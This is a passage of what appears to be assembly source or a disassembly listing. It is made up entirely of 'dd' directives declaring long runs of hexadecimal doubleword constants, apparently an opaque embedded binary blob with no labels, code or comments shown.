2C5A4000h, 0E799B8EAh dd 0F8F09272h, 0D0136096h, 6D4FF124h, 2B8A351h, 930C794h dd 14401094h, 0F10FE00Dh, 53250193h, 44F39550h, 94148036h dd 72324626h, 3D5724AAh, 0A5CFC05Ch, 0CA21B829h, 56DF88ECh dd 0A5C6E000h, 5900Ch, 712C4E8Fh, 0FC4961EAh, 2038FCA1h dd 0E61CB744h, 19CAC7D1h, 0FE80A008h, 69106313h, 0B3DF18CEh dd 2B371954h, 0B00198A4h, 0B8307452h, 74483A21h, 2347E294h dd 6411A514h, 941C5401h, 29137FF4h, 0E1532500h, 9813F84h dd 1F741757h, 9DD2E477h, 599C15Ch, 8138C706h, 73D4F430h dd 2EBA0013h, 7790EDC3h, 0E700A460h, 0E0A3DDCEh, 214A04h dd 0A24DE901h, 2818701Ah, 0CDC090Fh, 17A54252h, 42684119h dd 307ECC48h, 0DD6155A0h, 6F7528DCh, 399B025h, 0F34B8150h dd 0F38CD86Bh, 4A4228A7h, 2C294CA4h, 24185205h, 4EDC3078h dd 0E5603EF0h, 7227EDD9h, 33533BCEh, 9480A19h, 0D218002h dd 36D3729Eh, 0F4E07625h, 64B8589Fh, 1A068D22h, 73890929h dd 2CA89030h, 0E3C7F13h, 41396B2h, 0C0766800h, 468824B8h dd 2DE02F54h, 19F17C12h, 0D69E2020h, 89D21EC3h, 70975407h dd 90ABEC65h, 0BFD42B58h, 28D01D26h, 0C0841414h, 0B6D0D85h dd 3DE72552h, 30C540A0h, 0DA02D403h, 43C8D146h, 21C880B7h dd 0A80518F8h, 7CCF9ACh, 0D5177172h, 0F7E6E178h, 0C388E8B2h dd 0C00DE100h, 76EC734Bh, 0A39628FAh, 32FC2880h, 0C06E58B4h dd 9457DCC1h, 3418A648h, 26652038h, 1108C8BDh, 45770B0Bh dd 0FC6808B6h, 0A309D699h, 38172180h, 537964B6h, 507D3E6h dd 6C83D76h, 0CF195F6h, 0D74D7C1Ah, 62189F79h, 8B907AD4h dd 6438A5BCh, 34236078h, 19311865h, 0E7CE1906h, 0E44E7300h dd 2A3A1AD4h, 25979AFh, 722C8191h, 48804107h, 0C9F97CFAh dd 4206181h, 3C0848F8h, 9B384450h, 0A5CE0114h, 1932B826h dd 0FB007032h, 0F3A0A5C5h, 9850852Fh, 68B253C4h, 0D4E3709h dd 2A60183Fh, 50631172h, 0BCF9882Bh, 78728180h, 0ECD08C61h dd 719B2D1Ch, 48F053C3h, 64A1480Ch, 57435CBCh, 30793916h dd 0DC563A44h, 80DED828h, 1B37BF00h, 234B9126h, 8F993DEDh dd 7FDDF082h, 1042492Bh, 9C57A800h, 0DCA2E512h, 68446467h dd 20442761h, 790E4D59h, 229E45BAh, 51547233h, 21B00200h dd 1B104DBFh, 2A717DEh, 6CF0505Bh, 3AEF6600h, 5FE8F56Fh dd 33D7D000h, 0BB29C7C5h, 25611FB5h, 0B8ECC2C4h, 0C8A05B89h dd 5F0A4050h, 3A40CCB1h, 77867B5h, 2CBEBBAEh, 0A11B647Eh dd 44C08B0Dh, 520E66h, 0B9C1264Eh, 1AC40E34h, 0E960A69Ch dd 352A53A3h, 121DBC92h, 6C248152h, 42808211h, 44DE95B6h dd 0D225343h, 0B655140Bh, 41970D5h, 19D6423Fh, 40548874h dd 0AD00C0A6h, 0E002C57Eh, 0E4D688C4h, 0D038934Eh, 2F006506h dd 9BF6F7FFh, 1F14C8Dh, 0BD5773ADh, 58C421BAh, 94081AF4h dd 0C495143Dh, 2324065h, 9A78E94h, 0C44FDDBEh, 7C373CABh dd 28905E82h, 38D04062h, 16DCA560h, 39A008FEh, 369407C0h dd 2ABD2417h, 0F555844h, 3CB99400h, 0F8C6972Fh, 0F341059Fh dd 5E7119DDh, 542300C4h, 0BBE138D7h, 0F6B44DECh, 0C8161513h dd 9E8A6800h, 0F8FD7C67h, 0CCD60097h, 48C9053h, 8BF09FB5h dd 989163ECh, 868174Bh, 0E76F21C3h, 15F5DC17h, 0E6F2D8C2h dd 36382490h, 0DAAB8084h, 0D35222Eh, 538E6E00h, 43B9FBE1h dd 0BFC4B3Fh, 0F280E634h, 0DC8C183Ch, 0CCCA2105h, 60805C89h dd 1C7B42Ah, 4DD66101h, 43721A40h, 0BDB007B4h, 4176EA27h dd 1E686559h, 410CC17h, 0F581E904h, 2808E339h, 0B28C956h dd 3500D0FBh, 0B777AF6Bh, 2D607B5h, 829E521Ch, 6460BBE4h dd 5C86362Eh, 0B817B820h, 0F9C83882h, 24A53700h, 0D976C73Bh dd 33910092h, 4BE9474Eh, 0A7252A1Dh, 322810C1h, 20E7349Ah dd 28309988h, 8C47BC60h, 3D828A09h, 949C20D3h, 0E61100Ah dd 0E62394Ah, 0DC8892A3h, 394486E7h, 74158D00h, 0D0AE196Ah dd 70380F9Eh, 9145145Eh, 0CDA009C8h, 57A0EC82h, 62183C11h dd 0B82AA208h, 405AC4D2h, 0DCA539F7h, 3F38007Dh, 53F38664h dd 4489248h, 3038F294h, 17F49406h, 4C22B546h, 940E5600h dd 0A9990B22h, 0E0759028h, 365A0A9Ah, 9784BED4h, 551C0CF2h dd 0F0399970h, 0C70880DAh, 0C5EB623Ah, 0A8B7B843h, 0B21D7790h dd 93F909A4h, 6C5D55h, 4F09E1F8h, 0E6C69C1Bh, 0D670208h dd 409175E9h, 18C54869h, 4294081Bh, 31701D14h, 9D940703h dd 92F33B15h, 0C840EC6Ch, 8D7E7F72h, 1C9C749Eh, 78A4D4E4h dd 4C465Eh, 0F5676F04h, 8C6AECh, 21721E43h, 0A0E85346h dd 0B0905450h, 714B8909h, 0D4BD5Ch, 78846037h, 1E018D93h dd 484DFD5Fh, 0A040FEA6h, 27545601h, 38824634h, 3F220DA0h dd 0D09920FCh, 77006C3Bh, 110C3DF9h, 39FE988Eh, 2A9D2315h dd 934F009Bh, 9DA0EF36h, 0F6546501h, 891A330Ah, 8C256860h dd 6B12B04h, 79625CDEh, 0B12EC921h, 2477E2F8h, 21348B1Eh dd 21C3D0B0h, 141AE086h, 0D8D2C17Ch, 0BC4C5604h, 619905D7h dd 4DABECC1h, 39CF7E01h, 9FDC058Ch, 88023626h, 66482B19h dd 0D43E4C54h, 0BDECAA0Eh, 814C90D7h, 804AA18Dh, 0D017D420h dd 4C320901h, 0DCE83D68h, 87005815h, 368AEA98h, 0E1A966h dd 2BC922BEh, 280FB535h, 34C6F126h, 0AC004B11h, 9980EB92h dd 69004CCAh, 0F849F96Ch, 7B4A85E1h, 475824AAh, 40CC059Ch dd 0B584411Eh, 0E0388A7Bh, 0B0303721h, 481D999Bh, 70E8017Eh dd 25C9899Ah, 0D063EE08h, 60373926h, 0C77D4C40h, 0AB310179h dd 0CBCABAA3h, 0C439E580h, 0EF05A70Bh, 2B91B1C9h, 698088h dd 0E89E4CC0h, 0B8BF1E78h, 1239AE3Eh, 0E00236F8h, 149BF399h dd 48794CB9h, 320B0818h dd 18F397B4h, 0D4F5C0h, 384B8A77h, 0D3AC4CBBh, 378EDD02h dd 0CC06669Ah, 7C180B84h, 9009F17Dh, 0CCDF1002h, 5A094072h dd 65D48F4Ah, 61A2E430h, 24E497E6h, 88750934h, 0F887FA70h dd 8856D448h, 962287E8h, 240E465Dh, 5309710Dh, 0EEE831E3h dd 72241310h, 0AFB0DD00h, 0C692D6AAh, 602702E7h, 4D46CAB5h dd 7550CC1h, 0F5BB2081h, 33D9688Bh, 70AF9C37h, 884100E3h dd 7E1809BEh, 4B07E873h, 4D3F3061h, 408BAAF5h, 53C14EC8h dd 408445B8h, 0E237A2B5h, 3007E2D8h, 609D6F9Ah, 14B227A8h dd 0A8324EFDh, 8C05BCh, 4115932Fh, 4DCEF1B5h, 0AE9EA9C1h dd 8160EA87h, 0D8955573h, 84AC2C39h, 40D7EB1Fh, 0B425A904h dd 0B95628D8h, 185AD12Ch, 1E0500A3h, 12ED0A59h, 0E30BB09Bh dd 0AE3C5B41h, 0E96860A0h, 67B40Ch, 4DF0CA81h, 0A8F5E22Bh dd 3C32E424h, 266900DCh, 1FAC15A8h, 140F5BEBh, 72D4E4F3h dd 9986E41Fh, 2680FA2Fh, 83D47CB5h, 3BA0AACBh, 41EC9DA8h dd 0CCD59800h, 0F0C45D45h, 6C6B5817h, 0D8184713h, 28C8124h dd 0DE1AB647h, 0EC71533Ch, 0B63A1540h, 0BFE80443h, 407218F1h dd 93909FF2h, 0C36A0787h, 257382ECh, 8B08D549h, 0C065C86Ch dd 3793B233h, 3AC1E1Dh, 92094D45h, 0DF4804C1h, 25741A00h dd 82C2FF27h, 4416C94h, 84C08E0Fh, 0C530575Ah, 51181F2Fh dd 40705305h, 0F00A4982h, 15485524h, 288CE40Bh, 5B4853FEh dd 9F08E078h, 6FE472h, 3A2DF712h, 0E11D7414h, 0A090B0h dd 1B2A28F0h, 24630FCh, 0A722917h, 4E3083CBh, 800F0011h dd 64454372h, 61C212E4h, 0DAA82034h, 9B5CBAD3h, 21A00D7h dd 12F519A1h, 0DE431CF4h, 809F5AD4h, 942EE009h, 8768AB64h dd 38BB6310h, 67B5480Eh, 7BB760AEh, 12FDB1E3h, 22750ACCh dd 4030801Ch, 0DE1B08B6h, 7B645214h, 0B63B1640h, 8D48DC3Eh dd 52238h, 5427C75Ch, 0A74D1FE3h, 9B98FB01h, 0FE4C1AE7h dd 30F1BBD0h, 0CAD93316h, 17483651h, 0A02F72B0h, 26448063h dd 80FBC7F9h, 0B6040752h, 4877D220h, 4C8FCCEh, 3437D4C0h dd 0EFBC00F7h, 0CC516361h, 9F01E3AEh, 0DBF196E0h, 2AC819D5h dd 5C149432h, 7B02EE46h, 3D1EE685h, 6000FCE4h, 9E461C0Dh dd 0F6AEDB23h, 5C7521h, 416DA774h, 0AABAE0E4h, 3715F115h dd 9904C88h, 0FC7787h, 0AA2BF088h, 0EDA600B1h, 0CAB47835h dd 0E4A03D63h, 432DB728h, 119C1795h, 0D06C8047h, 0B0A4DE8h dd 9897F920h, 311A81Fh, 0B625FE82h, 2054CCC2h, 54F05082h dd 9D44425Eh, 9F4711DCh, 7FDBFD02h, 23C548Bh, 0C878CC9Ah dd 0FC20A0DAh, 20D55B43h, 6DB0C4F4h, 7812040h, 17A91B1Fh dd 0BC622FF5h, 0DF42F311h, 292FAC78h, 1E42B19h, 3D6B1ABBh dd 61003C69h, 9FA9BE7Fh, 1C273318h, 7470E3h, 0F2F5AD38h dd 0C9B569F3h, 5501B8DDh, 0DD2E1933h, 88409025h, 26AE9F29h dd 0CFEC51CFh, 901640E4h, 8AD69FD0h, 9859152Fh, 2E87F0C0h dd 2450FC72h, 67467CB4h, 0E5504C01h, 0F9F701FEh, 0BC122A79h dd 0FC78B405h, 4CB224B3h, 286E30h, 0A09E16E5h, 8EFC699Ch dd 1740CB0Ch, 2A93E0DEh, 2CFCF8F2h, 5E44BCFEh, 290E7946h dd 5801C9Dh, 305CEA38h, 1443F34Bh, 0BD82442Eh, 16E298B0h dd 6F459E0Ah, 0DE380178h, 883192C9h, 0B53DE422h, 0F41F4Ah dd 677B8D6Ch, 0F5011502h, 0D80F04BEh, 0E3F0A5F7h, 8ECAC29h dd 769CE4D2h, 0CD9CC16h, 0FCE10032h, 26320C4Eh, 4090398Ah dd 0B8F4BA68h, 7A983F00h, 87260795h, 305F73h, 9FDD8B2Ch dd 10D6456Ah, 58D50409h, 248C8194h, 0B6054418h, 5234DE07h dd 24CAC02Ch, 1FDDB63Fh, 0CBACA4C7h, 4E408E5h, 0B38A9160h dd 0A05C0301h, 4244020Bh, 0D8FF5C31h, 1BB66DEh, 84837E30h dd 3C0380BDh, 0A1C42560h, 0EE187024h, 5A40BAC3h, 2FDE4D0h dd 6A15282Ah, 0E8733214h, 2AAAC58h, 35EA9B7Ch, 8441028Bh dd 0F2FC50F5h, 4B06302Eh, 43588499h, 1AE300D4h, 0B5467EC1h dd 5E7E05ECh, 0B00B135Bh, 84E428h, 1D8E079Dh, 52C4C9ACh dd 5A429E00h, 71CA3732h, 4D702194h, 56CC7E06h, 0C1CE2539h dd 4E11E8B5h, 0EE3DD582h, 749FA0C0h, 38414491h, 0AC48B962h dd 6D2B176Eh, 80949B8Bh, 0CF7BC550h, 7DA6022Ah, 3341B816h dd 0A21F185Eh, 6489F145h, 41C300F0h, 7790209Bh, 2660DC94h dd 12F49A0h, 3561B24Ch, 0F8C76E56h, 0AE0358ADh, 0BB8B580h dd 99DAC0E1h, 0BE7D2520h, 9FFCF468h, 7AEB9612h, 0F225ACA6h dd 709164CCh, 0AF186471h, 0FA3EE478h, 84415F23h, 3270A61Ch dd 0F953D088h, 0B1614D02h, 36321847h, 0B8BB8000h, 82021B9Ah dd 4C7CFFCAh, 84243104h, 26C88290h, 13B13630h, 3864DE01h dd 3901C854h, 0B547BCB6h, 0BC7210A5h, 35D05400h, 0B7BAA9A3h dd 19F01500h, 1DE8D34Bh, 0ADA70009h, 0AE9E7DCEh, 709CD7Eh dd 2098B037h, 0F52BEA3Ch, 0FA5A034Ah, 0B8C78B3Ch, 0D88E97EBh dd 0B6624713h, 0A7DEE4D0h, 10434022h, 6C24789Bh, 0E1EC639h dd 8B53C972h, 11ACE465h, 59AF7200h, 164251D0h, 60793745h dd 4620047Ch, 0BC98324Ch, 81058CF1h, 7FFE431Bh, 41AEAC90h dd 7848B885h, 6B0C25Bh, 98483FF2h, 0DF7740B5h, 221819D2h dd 803119h, 6CCCFDE2h, 0FC3E6A5Eh, 5CE77F14h, 80CF3F80h dd 668638C2h, 14795E90h, 0F0506144h, 4FDDDB01h, 6CEDE0CEh dd 4387086Ch, 891A02D9h, 0AE629C5Dh, 5088F854h, 0A2467C5Eh dd 0BDD45700h, 0E4A4A630h, 7C651E39h, 41EC254Ch, 0BB544195h dd 343D01C1h, 1A00AC72h, 0B961822Bh, 260BCABFh, 10CC85Ch dd 0EAEBB824h, 5F10FC30h, 0B90082E6h, 0ED64054h, 56C27CB7h dd 245DB64h, 7CED6770h, 203E1760h, 0CA1D30B0h, 383DE900h dd 5B169A49h, 53F21FA7h, 0E40594F0h, 7B86E4Eh, 69FF4DF2h dd 0D45C9711h, 0C828B3D9h, 4C1A6480h, 0F0E3D826h, 15003102h dd 69085E3Bh, 21B51FDh, 96670561h, 0C86A4CF2h, 312FF8F2h dd 48C020DEh, 0ABC67Ch, 0AF670EAAh, 5FEE5546h, 9892DFF6h dd 308BB94Eh, 0E0C36A88h, 1A25A0E9h, 0EFF2667h, 611129Ch dd 584B102Fh, 913E3730h, 79EBDB08h, 7FDC18E9h, 0CA0D798Bh dd 7C138824h, 0AFE85482h, 3DF056ACh, 74FCCB82h, 9868F3DDh dd 7A0F819Fh, 0B548D30Fh, 0AA2D03A4h, 16922ADh, 8D5C2011h dd 0C3953215h, 9B7CA0C4h, 0C844D490h, 72CC1A42h, 206A310Fh dd 20879809h, 89A0E35Dh, 6DFA1BF8h, 6CF39B24h, 0DEAD4082h dd 371C87C5h, 0D07C18A2h, 0F9B008C0h, 2805FA13h, 0C03036EEh dd 97C3ACD2h, 6CCACC00h, 7804CE28h, 741B2BF5h, 18F2B088h dd 0E075DA57h, 7B02E647h, 89E2E7DEh, 0F27868E3h, 3D7301BEh dd 473E20CAh, 0F0006B90h, 0F12FE310h, 5864309Fh, 69C4FC40h dd 0C989A78h, 18F3B103h, 0E074DA09h, 5FACE54Ch, 9F0807AFh dd 0EC31C0D6h, 0B1D3583Dh, 0FCC4348Bh, 0AD3C304Eh, 6C2F9538h dd 1AB8BFA0h, 280261A4h, 0C93DFB3h, 708C7BEFh, 6C0089D0h dd 97773CC6h, 0C54217F1h, 40701321h, 366FB4C8h, 340058CEh dd 96FB0A3Dh, 0FE4BBAh, 93CAEF74h, 3618B12Bh, 3F8F4D3Ah dd 0FCD40FE9h, 3937862Fh, 0BE3B0151h, 3C8E488Bh, 62AD065h dd 0DA21DCA0h, 0ECF2D327h, 8964410Ch, 41AD6050h, 7CCDDEFCh dd 0FC1F3C7Ch, 65690054h, 2BBA403Eh, 50DC094Fh, 4E698177h dd 42F14820h, 7C6E4E20h, 0D670AB1Dh, 0EFAC42C0h, 11C19836h dd 6F98035h, 77F0F2CEh dd 0AF718Ch, 0EC4566ABh, 0D497D701h, 0BF419E02h, 0E5BD93BEh dd 6079E4C4h, 256CCBE7h, 0B497611Eh, 5847B91h, 58ACAD3Eh dd 0DD350059h, 0A2D2381h, 0CA0F0BF0h, 0C8EBB394h, 482AABF8h dd 537C8F0Dh, 43E39C1h, 9D579DCh, 715451BDh, 1CFB180Eh dd 9F0F0131h, 0D7AC0B87h, 0EF41F4C8h, 78549B40h, 2D289EF0h dd 4591F817h, 8C5AC680h, 400029B5h, 617EE9F9h, 1095203h dd 2BF168B2h, 0C93D6283h, 0A102EBB9h, 8F7E6C41h, 0FBF4CA5Ch dd 0E85570C4h, 8ECF2C01h, 0DFAF57DEh, 0F2B94892h, 306BE2A0h dd 12072154h, 0F2A30ADAh, 0B4968150h, 0C0EE5239h, 89EA0801h dd 515C7D97h, 3E801E9Ch, 1DCFB44Bh, 8E69114Ch, 1A700136h dd 0DEDC4C29h, 90D2E4A7h, 0CAB517A8h, 4D0C006Eh, 7FCF1E2Bh dd 0B87D9800h, 0AB1D621h, 3CD835CAh, 23B43A78h, 0B0DF000Dh dd 0F010838Eh, 6717C278h, 0B804D144h, 0DC02020Ch, 0CD41A9Fh dd 69B8B500h, 3CE5EEDh, 487A6020h, 0CA995209h, 52C6CFBh dd 0A3A04DBBh, 898134D7h, 507CDCB7h, 4E43FCECh, 38D4FA04h dd 1850B02Fh, 620F9CB1h, 0C0228A48h, 0AF98CA85h, 0FA7CC0A8h dd 5F718836h, 891030BAh, 8B004C70h, 59C21795h, 293B541Eh dd 0EDB0481Bh, 0A79B30CEh, 0E32C2801h, 108E6ED1h, 78F8402Ah dd 9C84BEAh, 50191F07h, 0AEE38747h, 3896D9B9h, 57AAC984h dd 0EEB8993Fh, 3AB81640h, 0D41830B3h, 0C4F231h, 1CA1D9A5h dd 5E17DB2Ch, 10B5D71Dh, 0E0B17933h, 59B1634h, 7048A832h dd 0E8AD53h, 9D412BAEh, 1A4C3569h, 897BF3F1h, 477994F9h dd 0E3008318h, 0DC7E109Fh, 0E0484AA1h, 21C8A042h, 5B412670h dd 0D1C8A970h, 9A41867h, 5062B121h, 0FC593C00h, 0E55D1371h dd 35BD278Ch, 0FEBC80B0h, 7F1C4ED1h, 0BFD6B305h, 3CC5A73Fh dd 0D9A02C27h, 2CE9A13h, 99B09FE9h, 360165A7h, 984DED37h dd 48B10C66h, 0EE2FC415h, 89141D7Bh, 989806F2h, 2598B529h dd 30215297h, 33FC25ECh, 304EB2CCh, 9507DA49h, 903EB24Bh dd 74B8B9F0h, 9C6E5CD6h, 0CC00788h, 5E506172h, 0FC482DBBh dd 59017283h, 0F9B0BA81h, 0A880F7B3h, 589A1A33h, 310B658Ah dd 5A4E018Bh, 79D82644h, 0FBF98404h, 0E8091FC0h, 0B118A3C4h dd 6E398896h, 1E380534h, 2B32862Eh, 4EFC104Ch, 190524CFh dd 80108474h, 76533E5Ch, 0CF3320C0h, 1A73B77h, 3D93D6AFh dd 7856504Fh, 43F1BCC8h, 1E35004Eh, 0F5F33B19h, 2FAB4F36h dd 7B233Ch, 0BEA9D5E8h, 3000DA04h, 81E9A392h, 0ED072258h dd 0C83C7AF5h, 0A0B69ACEh, 95167258h, 648B97B0h, 3056D4C4h dd 1E5160h, 4CFC5B74h, 589F263Bh, 0E408AF09h, 0E210E54Eh dd 5C1A4FEEh, 943F9468h, 7AB87080h, 7903B47Dh, 0A9322C81h dd 121A8090h, 425A4C0Bh, 9B809900h, 2883F120h, 0C492374Ah dd 94C05763h, 0C500E38Dh, 58AB543Fh, 14D7D27h, 9CE2292Ah dd 6B7BACCBh, 40186C07h, 7AE47291h, 0D8BC4C69h, 99B8EE04h dd 6890F5D7h, 12A220ADh, 0C190E5D6h, 7956513Ch, 5C23B838h dd 5A01F053h, 40CAE0A1h, 0B0062FCBh, 3E897FB5h, 7203C8DFh dd 4F47536Bh, 0A4C0CEF0h, 717C1817h, 761DCA0h, 0D436EF19h dd 638AC07h, 0A883443Ch, 0B60024B3h, 27BBB9CAh, 19C039Bh dd 9196474Eh, 0E6517416h, 18533600h, 7BA0A930h, 0D45D3422h dd 0E80124B8h, 0DBD3DF81h, 8072BBA5h, 0DF306BF2h, 41690152h dd 1EDE2875h, 0AD7CC861h, 9F482195h, 0B0004B66h, 52130A10h dd 8F1E7A0h, 7C8D6052h, 64465CA0h, 0C5A42801h, 30699B98h dd 0A75EF2F0h, 47C4A88Bh, 0BFEB3057h, 0FC06543Dh, 5DEC0092h dd 0C8048F77h, 0E00354Ch, 7B2D4D9Eh, 0FC7C5603h, 45890EEh dd 550789FAh, 0CDB5323h, 0F40C3A80h, 63138E0Fh, 14E45F7Ah dd 312620A7h, 5660F201h, 90E4850h, 4DFA9C41h, 0B12E14D0h dd 7445A568h, 30674E64h, 96B0CE55h, 3C0060B2h, 3DE96B2Bh dd 5B067319h, 980C2016h, 3680FB83h, 3C6626B4h, 54E882A4h dd 60E42BA4h, 8015A73Bh, 0A9D729BEh, 0B288583Bh, 4F62202Ch dd 280D2E2Ch, 369F2DC0h, 2588B298h, 380EEB41h, 0C6CA29E7h dd 63D29D7h, 0A51300ADh, 0EF0D67B7h, 79FD612Ch, 52128931h dd 44E4B0E0h, 0BFFF3B1Eh, 0B434CC80h, 13D6B1Eh, 0C04BA159h dd 0C4806EA6h, 37342635h, 0A408E91Ch, 0A261C043h, 0DA46B80Fh dd 0FE004522h, 3B6DA538h, 5ED0971h, 7EEF2DD6h, 0E0A09169h dd 95CA0172h, 23142F2Ah, 64DD00EEh, 7FDE0EF8h, 9CB6D5F4h dd 0C0F3163Eh, 64F284E2h, 40306730h, 454074F1h, 897E160Eh dd 1C8CC08Fh, 2E12D7E3h, 0C439AB3h, 90124236h, 2A93AB9h dd 65D8C8EDh, 0B8478F4Ah, 42614544h, 0C1003C01h, 0E264C418h dd 10FE1830h, 639DEA7h, 0E90974F0h, 0C9472518h, 274C7C40h dd 0F8B82148h, 4C0F8C69h, 401C6BEEh, 9FDBD651h, 0AD89652h dd 2438BE6Eh, 0A34674A8h, 0A980C53Ah, 5B5D3A31h, 0DD0D7702h dd 61D03EA7h, 527010C6h, 0B202797h, 8E8F945h, 0DDE09B4Bh dd 4B49BB40h, 0E81CCFECh, 17370BF0h, 0D4708574h, 3426875Bh dd 0D4492518h, 783E2852h, 38D38076h, 4FD66DEFh, 6C07502Ah dd 66750F5Fh, 280B930h, 929FC841h, 0B6E5231Dh, 5064007Ch dd 898194CAh, 10AF08FDh, 40343739h, 0A3BC40ACh, 9F6A1F8Ch dd 0FE035E4Bh, 0E86F1880h, 0DC997F4Dh, 89DD4Bh, 0DF3E5683h dd 66B00817h, 7B2F88CFh, 76AC4995h, 7CFA09C6h, 73973844h dd 771578E4h, 8813B554h, 9C1B83B8h, 0BF265E02h, 0E010E174h dd 17F6941Dh, 1306EE4Bh, 0F0C3057Ah, 0F9C054CAh, 53CF1B02h dd 38D1EC73h, 0F3187A79h, 4D10444Ch, 5021BC60h, 0B5B4AAh dd 1ACF51B8h, 0D58088C4h, 0ECCE495Ah, 304EFC84h, 4B5D4B1h dd 0F1270B67h, 0C84C8E61h, 0FDB2C007h, 0E207D7BAh, 0D69ED949h dd 0C615C13Eh, 0A4448138h, 14F02812h, 0B4180107h, 28FC0E67h dd 17DC7C09h, 0A890DF36h, 4B801850h, 5AC5E26h, 928D4E8h dd 3C76B008h, 0A5870E81h, 0F9E0A96Ch, 146A5C03h, 54FDDC04h dd 6012AEEEh, 0FC8008Bh, 775480CEh, 1D52C3Eh, 5D966ED9h dd 7F9C6D0Eh, 0BD071C6Eh, 895FB73Dh, 0B05BB8E4h, 0E005A040h dd 0E9B71A6h, 28DBAB65h, 0E656CCE0h, 470BD01Dh, 0ABC4109Eh dd 13CC460h, 0F424CC44h, 303E6489h, 30461AACh, 481A53C7h dd 0F327053Ah, 3894B787h, 0D0C0B49Bh, 43319A24h, 0D4C31204h dd 12EE70C5h, 0E0B0F634h, 1EDF54BAh, 40F24226h, 0D0B9D71Ah dd 0ECA8EB99h, 3109AAD2h, 0C771918Ah, 60046490h, 9A3549h dd 0DBA2368Ah, 0F65DC31Eh, 8FB57414h, 65704A4h, 0BCF3E5F2h dd 633043E2h, 0A17802E5h, 2D3D65ABh, 4318BC48h, 58073626h dd 0A43FC826h, 0E821E0D4h, 0E42C6525h, 0C10863EEh, 0EA705040h dd 4424A74Eh, 0B4BD6003h, 0FA6703B9h, 47EAACE5h, 617E6CF9h dd 0C049A71Ch, 0B3F16A0h, 0EF68C4F4h, 24893012h, 0B442F04Fh dd 1EBCF973h, 0D13B4053h, 81244CE4h, 15DCB300h, 0F1C1F550h dd 0CB5F34D2h, 9CC48E28h, 0A4803AE3h, 0B775F97Ah, 87D81A0h dd 9A1A1E09h, 911497BCh, 93FD8079h, 1C290762h, 957ECC4Bh dd 0A58E83Ah, 759C44h, 0A512AB6Dh, 0C14DCCEDh, 0F4D3E54Ah dd 43A4B067h, 0B3C615D7h, 907C8C61h, 302B0132h, 0C10B741h dd 0D626D04Fh, 2598A14Dh, 116417ABh, 884B8049h, 2718ACF3h dd 0C4A265CCh, 1C4772AFh, 0EB6004C4h, 4E004ACBh, 24C04C77h dd 16BF6C76h, 0CB5D6938h dd 0C164C82Ch, 6B109206h, 4645C447h, 75638D27h, 28D8B812h dd 3E8F2744h, 545268A0h, 4100376Eh, 0B88D8427h, 2B174A5h dd 55D7DD97h, 0C8F4C77Ch, 6B060D01h, 0B2EB1E58h, 0A3D4E8EBh dd 0D0F491A9h, 8656DFh, 3099C0B6h, 32AC499Ch, 40B9E000h dd 3711F331h, 0D0C895A2h, 56021EF0h, 700EEF49h, 922C5452h dd 7468E438h, 98C2E400h, 6A5F2D8h, 9BCCFA72h, 0AF378A4h dd 0F4BEED1Fh, 77B28340h, 589E64h, 3689FAAFh, 71F3A04Dh dd 8400D09Eh, 0A773AD1Eh, 39F1E38h, 0B27D8470h, 0D954E454h dd 84092A0Bh, 6010ED32h, 0B4946856h, 0E403395Eh, 8A9D81E9h dd 90CD157h, 74E8BD7Eh, 0A5F9FDEh, 0CE6E6801h, 7A2AF3E4h dd 0DF0201B0h, 0D1BE3760h, 5AB6C270h, 521842FCh, 84FEA7A0h dd 7E419F00h, 9DE61939h, 2600C437h, 0E9878D4Bh, 2DE3162Eh dd 0F294F2E5h, 658E30F9h, 0D7A9FF00h, 9D198C87h, 20AD00F1h dd 0BD7D2BC2h, 0B0BCCF70h, 0E4676h, 0E1B35845h, 21E2D08h dd 0FDBD8FCFh, 30DB6E7Dh, 12533078h, 0F4AC7540h, 78B4B050h dd 5E55C68Fh, 76DC7Dh, 0DB4DCF08h, 0B9721927h, 180ED1A4h dd 982600DCh, 8BE001E7h, 0F0B93739h, 0F9609CD3h, 0EF009984h dd 6BD8EC6Eh, 4E6D69Eh, 0D9E918BFh, 0F1B8F292h, 0F30C56D4h dd 0E65E1B00h, 0ED4E46F9h, 202EF16Ch, 0FF34FC34h, 12E0D38h dd 0B6BA98F1h, 0EFE0D466h, 44E4FEAh, 0AB4502B8h, 5216DC6Eh dd 0B5881FEh, 741A003Bh, 0CC849DE5h, 0F204A1AEh, 43755h dd 68A68F6Ch, 4D01EA0Dh, 48539FC0h, 0A0205CDAh, 0CE954AB2h dd 0C06688ECh, 8D9BFB7Bh, 0B018530Bh, 20804676h, 0B30055CEh dd 5D518F89h, 5BCCF009h, 80249458h, 197C1B0Fh, 59B4859Dh dd 885F48A4h, 0AC701E96h, 0CE6D300Bh, 0A0B0D004h, 9A94F06Ch dd 93EA2600h, 0F9217470h, 5CC1804Fh, 0D7D4CE35h, 0A1E1E200h dd 0F7698B49h, 51590058h, 2C24BC42h, 0D0EF3A79h, 6E06D406h dd 28DCE117h, 0B7C43911h, 0A8B27700h, 50A5D092h, 215808CCh dd 0C4CE066Bh, 109454ECh, 0B16F50C7h, 6D170048h, 8F7E6518h dd 7203BDFCh, 0ECF9D38Ch, 91B5F26Fh, 6BC8CB34h, 91C821B2h dd 0C4C26760h, 80ED2211h, 898D7200h, 0ED02DFBh, 69A80397h dd 3E98C41h, 3F1E5BB1h, 0A27D10C0h, 2DA100BAh, 0F1524BFCh dd 20C0B3A7h, 0D1A5148Dh, 1098620Fh, 88A1BF36h, 9177355h dd 2188540Ah, 9CAA05C0h, 5B1E0053h, 667B4001h, 551B0624h dd 2390602Eh, 230B658h, 0A750B26Ch, 0C76400B4h, 0E98F33C4h dd 15C2E32Eh, 29250906h, 0AC0A0051h, 17CBC061h, 520059E0h dd 405A7088h, 584437F8h, 6E0ADE65h, 80A018EDh, 7E13BC8Ch dd 0B00CE294h, 8B2AD2Bh, 5221C08Eh, 282A13B4h, 0AE312103h dd 0C0C07475h, 605DCB93h, 33D46024h, 0FCA85398h, 83050F79h dd 0F4F5CB90h, 0C9631044h, 9903EC0Fh, 3100723Ch, 0B6E46DA6h dd 37C9588Eh, 463C8718h, 0B30021AAh, 969BE785h, 86A992h dd 373166F9h, 2C1BF6E5h, 3B81CB00h, 991FC736h, 0A7280327h dd 7CC65339h, 0F5AF3E90h, 29063B00h, 0C1880538h, 0CB58C0D3h dd 9F86EDEBh, 0EAEE6000h, 0AE85BD25h, 2E810714h, 46844294h dd 0D4004087h, 24ABC24Ch, 0CEEB78B8h, 0CB836578h, 117FDFDBh dd 45584300h, 387C2F40h, 0A709CC48h, 3B008B21h, 0F7FC7758h dd 1D26881h, 4576A3F6h, 8083AE84h, 69110268h, 0C3A0C14h dd 41B47454h, 330CC118h, 0B91FD36Ch, 0A51007Bh, 0BFA7A244h dd 0FF669AEFh, 